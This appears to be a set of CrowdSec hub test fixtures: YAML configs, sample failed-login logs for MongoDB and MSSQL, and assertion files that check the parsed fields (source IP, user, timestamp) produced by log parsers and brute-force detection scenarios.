results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "mongodb_failed_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "mongodb" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-28T18:00:05.826+02:00" results[1].Overflow.Alert.Events[2].GetMeta("username") == "root" results[1].Overflow.Alert.Events[3].GetMeta("authentication_database") == "admin" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "mongodb-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "mongodb_failed_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "mongodb" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-07-28T18:00:07.437+02:00" results[1].Overflow.Alert.Events[3].GetMeta("username") == "root" results[1].Overflow.Alert.Events[4].GetMeta("authentication_database") == "admin" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "mongodb-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "mongodb_failed_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "mongodb" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-07-28T18:00:11.791+02:00" results[1].Overflow.Alert.Events[4].GetMeta("username") == "root" results[1].Overflow.Alert.Events[5].GetMeta("authentication_database") == "admin" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "mongodb-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "mongodb_failed_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "mongodb" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-07-28T18:00:14.278+02:00" results[1].Overflow.Alert.Events[5].GetMeta("username") == "root" results[1].Overflow.Alert.GetScenario() == "timokoessler/mongodb-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6hub1/.tests/mongodb-logs/000077500000000000000000000000001437532772500155435ustar00rootroot00000000000000hub1/.tests/mongodb-logs/config.yaml000066400000000000000000000003411437532772500176720ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/timokoessler/mongodb-logs.yaml scenarios: - "" postoverflows: - "" log_file: mongodb-logs.log log_type: mongodb labels: {} ignore_parsers: false override_statics: [] hub1/.tests/mongodb-logs/mongodb-logs.log000066400000000000000000000013271437532772500206400ustar00rootroot00000000000000{"t":{"$date":"2022-07-28T18:00:00.903+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4071","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T18:16:40.466+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn12","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":true,"principalName":"root","authenticationDatabase":"admin","remote":"[::1]:1053","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}}hub1/.tests/mongodb-logs/parser.assert000066400000000000000000000057731437532772500202760ustar00rootroot00000000000000len(results["s01-parse"]["timokoessler/mongodb-logs"]) == 2 results["s01-parse"]["timokoessler/mongodb-logs"][0].Success == true results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Parsed["message"] == "{\"t\":{\"$date\":\"2022-07-28T18:00:00.903+02:00\"},\"s\":\"I\", \"c\":\"ACCESS\", \"id\":20249, \"ctx\":\"conn1\",\"msg\":\"Authentication failed\",\"attr\":{\"mechanism\":\"SCRAM-SHA-256\",\"speculative\":false,\"principalName\":\"root\",\"authenticationDatabase\":\"admin\",\"remote\":\"127.0.0.1:4071\",\"extraInfo\":{},\"error\":\"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch\"}}" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Parsed["program"] == "mongodb" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Parsed["remote_addr"] == "127.0.0.1" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Parsed["timestamp"] == "2022-07-28T18:00:00.903+02:00" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["service"] == "mongodb" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["username"] == "root" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["authentication_database"] == "admin" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["datasource_path"] == "mongodb-logs.log" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["timokoessler/mongodb-logs"][0].Evt.Meta["log_type"] == "mongodb_failed_auth" results["s01-parse"]["timokoessler/mongodb-logs"][1].Success == true results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Parsed["timestamp"] == "2022-07-28T18:16:40.466+02:00" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Parsed["message"] == "{\"t\":{\"$date\":\"2022-07-28T18:16:40.466+02:00\"},\"s\":\"I\", \"c\":\"ACCESS\", \"id\":20249, \"ctx\":\"conn12\",\"msg\":\"Authentication failed\",\"attr\":{\"mechanism\":\"SCRAM-SHA-256\",\"speculative\":true,\"principalName\":\"root\",\"authenticationDatabase\":\"admin\",\"remote\":\"[::1]:1053\",\"extraInfo\":{},\"error\":\"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch\"}}" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Parsed["program"] == "mongodb" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Parsed["remote_addr"] == "::1" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["datasource_path"] == "mongodb-logs.log" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["log_type"] == "mongodb_failed_auth" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["service"] == "mongodb" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["username"] == "root" results["s01-parse"]["timokoessler/mongodb-logs"][1].Evt.Meta["authentication_database"] == "admin"hub1/.tests/mongodb-logs/scenario.assert000066400000000000000000000000001437532772500205570ustar00rootroot00000000000000hub1/.tests/mssql-text-logs/000077500000000000000000000000001437532772500162375ustar00rootroot00000000000000hub1/.tests/mssql-text-logs/config.yaml000066400000000000000000000004021437532772500203640ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/mssql-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: mssql-text-logs.log log_type: mssql labels: {} ignore_parsers: false override_statics: [] hub1/.tests/mssql-text-logs/mssql-text-logs.log000066400000000000000000000027571437532772500220400ustar00rootroot000000000000002022-12-20 12:36:54.17 Logon Error: 18456, Severity: 14, State: 8. 2022-12-20 12:36:54.17 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3] 2022-12-20 12:36:56.29 Logon Error: 18456, Severity: 14, State: 8. 2022-12-20 12:36:56.29 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3] 2022-12-20 12:36:56.83 Logon Error: 18456, Severity: 14, State: 8. 2022-12-20 12:36:56.83 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3] 2022-12-20 12:36:57.23 Logon Error: 18456, Severity: 14, State: 8. 2022-12-20 12:36:57.23 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3] 2022-12-20 12:36:57.59 Logon Error: 18456, Severity: 14, State: 8. 2022-12-20 12:36:57.59 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3] 2022-12-20 12:36:57.94 Logon Error: 18456, Severity: 14, State: 8. 2022-12-20 12:36:57.94 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3] 2022-12-20 12:37:15.23 Logon Error: 18456, Severity: 14, State: 5. 2022-12-20 12:37:15.23 Logon Login failed for user 'ROOT'. Reason: Could not find a login matching the name provided. [CLIENT: 172.17.0.3]hub1/.tests/mssql-text-logs/parser.assert000066400000000000000000001041671437532772500207670ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 14 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-12-20 12:36:54.17 Logon Error: 18456, Severity: 14, State: 8." results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-12-20 12:36:54.17 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022-12-20 12:36:56.29 Logon Error: 18456, Severity: 14, State: 8." results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2022-12-20 12:36:56.29 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2022-12-20 12:36:56.83 Logon Error: 18456, Severity: 14, State: 8." results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2022-12-20 12:36:56.83 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "2022-12-20 12:36:57.23 Logon Error: 18456, Severity: 14, State: 8." results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "2022-12-20 12:36:57.23 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "2022-12-20 12:36:57.59 Logon Error: 18456, Severity: 14, State: 8." results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["message"] == "2022-12-20 12:36:57.59 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][10].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["message"] == "2022-12-20 12:36:57.94 Logon Error: 18456, Severity: 14, State: 8." results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][11].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["message"] == "2022-12-20 12:36:57.94 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][12].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["message"] == "2022-12-20 12:37:15.23 Logon Error: 18456, Severity: 14, State: 5." results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][13].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["message"] == "2022-12-20 12:37:15.23 Logon Login failed for user 'ROOT'. Reason: Could not find a login matching the name provided. [CLIENT: 172.17.0.3]" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["program"] == "mssql" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 14 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == false len(results["s01-parse"]["crowdsecurity/mssql-logs"]) == 14 results["s01-parse"]["crowdsecurity/mssql-logs"][0].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][1].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][2].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][3].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][4].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][5].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][6].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][7].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][8].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][9].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][10].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][11].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][12].Success == false results["s01-parse"]["crowdsecurity/mssql-logs"][13].Success == false len(results["s01-parse"]["crowdsecurity/mssql-text-logs"]) == 14 results["s01-parse"]["crowdsecurity/mssql-text-logs"][0].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["day"] == "20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["time"] == "12:36:54.17" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["user"] == "SA" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["message"] == "2022-12-20 12:36:54.17 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][1].Evt.Meta["subtype"] == "bad_password" results["s01-parse"]["crowdsecurity/mssql-text-logs"][2].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["day"] == "20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["time"] == "12:36:56.29" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["user"] == "SA" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["message"] == "2022-12-20 12:36:56.29 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Meta["subtype"] == "bad_password" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s01-parse"]["crowdsecurity/mssql-text-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][4].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["user"] == "SA" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["time"] == "12:36:56.83" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["day"] == "20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["message"] == "2022-12-20 12:36:56.83 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Meta["subtype"] == "bad_password" results["s01-parse"]["crowdsecurity/mssql-text-logs"][5].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s01-parse"]["crowdsecurity/mssql-text-logs"][6].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["message"] == "2022-12-20 12:36:57.23 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["user"] == "SA" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["day"] == "20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Parsed["time"] == "12:36:57.23" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Meta["subtype"] == "bad_password" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][7].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][8].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["user"] == "SA" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["time"] == "12:36:57.59" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["day"] == "20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["message"] == "2022-12-20 12:36:57.59 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][9].Evt.Meta["subtype"] == "bad_password" results["s01-parse"]["crowdsecurity/mssql-text-logs"][10].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["message"] == "2022-12-20 12:36:57.94 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["time"] == "12:36:57.94" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["day"] == "20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Parsed["user"] == "SA" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Meta["subtype"] == "bad_password" results["s01-parse"]["crowdsecurity/mssql-text-logs"][11].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s01-parse"]["crowdsecurity/mssql-text-logs"][12].Success == false results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Success == true results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["user"] == "ROOT" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["date"] == "2022-12-20" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["day"] == "20" 